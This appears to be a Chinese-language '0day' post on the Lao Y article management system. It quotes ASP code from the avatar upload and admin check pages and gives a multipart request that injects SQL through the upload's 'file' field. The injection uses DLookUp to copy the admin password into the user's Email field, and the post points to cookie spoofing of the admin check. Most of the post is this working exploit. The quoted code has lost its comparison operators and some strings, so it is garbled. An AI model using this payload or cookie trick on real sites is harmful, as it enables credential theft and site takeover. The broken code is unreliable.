【0day】老Y文章管理系统漏洞 XSS、Cookies 欺骗

User/Upload.asp 文件 34-50 行：

  if Uprequest.form("file_Err")0  then
  select case Uprequest.form("file_Err")
  case 1:str="

"
  case 2:str="

"
  case 3:str="

"
  end select
  response.write str
  else
                 '注意这里，上传头像成功后，把头像路径更新到了UserFace字段。
        sql="Update "&tbname&"_User set UserFace = '"&Uprequest.Form("file")&"' where ID= "&LaoYID
        conn.execute(sql)
  response.write ""
  response.write "

"
 
  conn.close
  set conn=nothing
  end if

60-67 行代码：

'生成头像
'这里要注意，如果不是gif后缀，则对上传的头像进行长、宽处理，所以，为了上传动作顺利进行，大家还是传个gif格式的文件上去
If right(RV_img,4)".gif" then
Dim S_Width,S_Height,H_Temp,W_Temp
S_Width=100
S_Height=100
Set Jpeg = Server.CreateObject("Persits.Jpeg") '创建实例
Path = Server.MapPath(RV_img) '处理图片路径
Jpeg.Open Path '打开图片

以下是引用片段：

-----------------------------4827543632391rn
Content-Disposition: form-data; name="file" ;filename="c:1.gif"rn
rn
gif87a
123123123123123123123
rn
-----------------------------4827543632391rn
Content-Disposition: form-data; name="file"rn
rn
//重点在这里，DLookup是什么东西，怎么用的，请自行百度、google查询。谢谢
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
rn
-----------------------------4827543632391rn
Content-Disposition: form-data; name="submit"rn
rn
é?′?rn
-----------------------------4827543632391--rn

admin/admin_check.asp：

    Dim LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5
      '太弱了····
    LaoYAdminID        =LaoYRequest(Request.Cookies("LaoYAdmin")("UserID"))
    LaoYAdminName    =CheckStr(Request.Cookies("LaoYAdmin")("UserName"))
    LaoYAdminPass    =CheckStr(Request.Cookies("LaoYAdmin")("UserPass"))
   
    If LaoYAdminID"" and LaoYAdminName"" and LaoYAdminPass"" then
    set rs5 = server.CreateObject ("adodb.recordset")
    sql="Select Top 1 * from ["&tbname&"_Admin] where id="& LaoYAdminID &" and Admin_Pass='"&LaoYAdminPass&"' and Admin_Name='"&LaoYAdminName&"'"
    on error resume next
    rs5.open sql,conn,1,1
    Dim myadminid,myadminpass,myadminuser
    myadminid        =rs5("ID")
    myadminpass        =rs5("Admin_Pass")
    myadminuser        =rs5("Admin_Name")
    myadminip        =rs5("Admin_IP")
    yaomight        =rs5("AdminMight")
    yaoadmintype    =rs5("AdminType")
    yaoadpower        =rs5("ADPower")
    yaoWritePower    =rs5("WritePower")
    yaoManagePower    =rs5("ManagePower")
    rs5.close
    set rs5=nothing
             '太弱了····
        If myadminidInt(LaoYAdminID) or myadminpassLaoYAdminPass or myadminuserLaoYAdminName or myadminipGetIP Then
            IsAdmin=0
        Else
            IsAdmin=1
        End if
    End if
   
    If IsAdmin1 then
    Response.Redirect ""&SitePath&""&SiteAdmin&"/Admin_Login.asp"
    End if
%>